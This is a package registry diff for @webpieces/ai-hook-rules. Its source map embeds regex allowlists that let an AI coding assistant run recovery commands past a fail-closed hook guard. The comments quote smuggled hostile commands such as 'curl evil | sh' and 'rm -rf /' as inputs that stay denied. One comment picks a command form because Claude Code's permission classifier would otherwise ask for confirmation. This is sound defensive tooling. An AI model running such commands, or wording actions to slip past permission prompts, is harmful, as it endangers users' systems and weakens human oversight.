@webpieces/ai-hook-rules 0.4.536 → 0.4.538
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/src/adapters/hook-core.js +11 -8
- package/src/adapters/hook-core.js.map +1 -1
- package/src/bin/l0-allowlist.d.ts +56 -0
- package/src/bin/l0-allowlist.js +307 -0
- package/src/bin/l0-allowlist.js.map +1 -0
- package/src/bin/shim-testkit.d.ts +4 -0
- package/src/bin/shim-testkit.js +8 -0
- package/src/bin/shim-testkit.js.map +1 -1
- package/src/bin/shim.d.ts +1 -20
- package/src/bin/shim.js +45 -177
- package/src/bin/shim.js.map +1 -1
- package/src/core/l0-matrix.d.ts +64 -0
- package/src/core/l0-matrix.js +207 -0
- package/src/core/l0-matrix.js.map +1 -0
- package/src/core/runner.js +31 -18
- package/src/core/runner.js.map +1 -1
- package/templates/ai-hook.sh +19 -13
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (six named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// A Bash tool call does NOT persist `cd`: a standalone `cd <worktree>` followed by `pwd` in the next\n// call reports the primary clone again. So an agent working in a linked worktree can only reach that\n// tree with a self-contained `cd <worktree> && …`. The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = '(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?';\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = '(cd\\\\s+[A-Za-z0-9._\\\\/@~+-]+\\\\s*&&\\\\s*)?';\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and `cd` does not persist between tool calls, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to all six, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name, no flags, so no\n// shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS below (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS = 